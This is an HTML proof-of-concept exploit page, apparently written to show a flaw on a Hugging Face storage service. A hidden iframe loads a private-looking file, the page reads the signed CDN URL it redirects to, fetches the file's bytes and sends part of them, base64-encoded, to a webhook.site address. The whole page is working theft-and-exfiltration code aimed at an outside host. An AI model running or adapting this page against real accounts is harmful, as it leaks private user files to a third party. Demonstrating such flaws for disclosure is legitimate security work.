poc3.html

<!doctype html><body style="font:14px monospace;background:#111;color:#0f0;padding:12px">
<h3 id=st>working...</h3><pre id=out></pre>
<script>
var WH='https://webhook.site/4a786e39-34b4-4d89-9598-aab22d574ee5/';
var BASE='https://huggingface.co/buckets/victimfsfsd/vicpriv/resolve/secret.bin';
var f=document.createElement('iframe'); f.style.width='1px'; f.style.height='1px';
f.src=BASE+'?_='+Date.now(); document.body.appendChild(f);
var n=0, iv=setInterval(function(){
  try{
    var u=f.contentWindow.location.href;
    if(u && u.indexOf('cdn.hf.co')>-1){
      clearInterval(iv);
      document.getElementById('st').textContent='READ OK - signed URL on same origin';
      document.getElementById('out').textContent=u;
      fetch(u).then(r=>r.arrayBuffer()).then(function(b){
        var bytes=new Uint8Array(b), s='';
        for(var i=0;i<Math.min(bytes.length,64);i++) s+=String.fromCharCode(bytes[i]);
        var b64=btoa(s);
        document.getElementById('out').textContent=u+'\n\nbytes='+bytes.length+'\nb64(first64)='+b64;
        new Image().src=WH+'?binlen='+bytes.length+'&b64='+encodeURIComponent(b64);
      }).catch(function(e){ document.getElementById('out').textContent='fetch err: '+e; });
    }
  }catch(e){}
  if(++n>200) clearInterval(iv);
},80);
</script>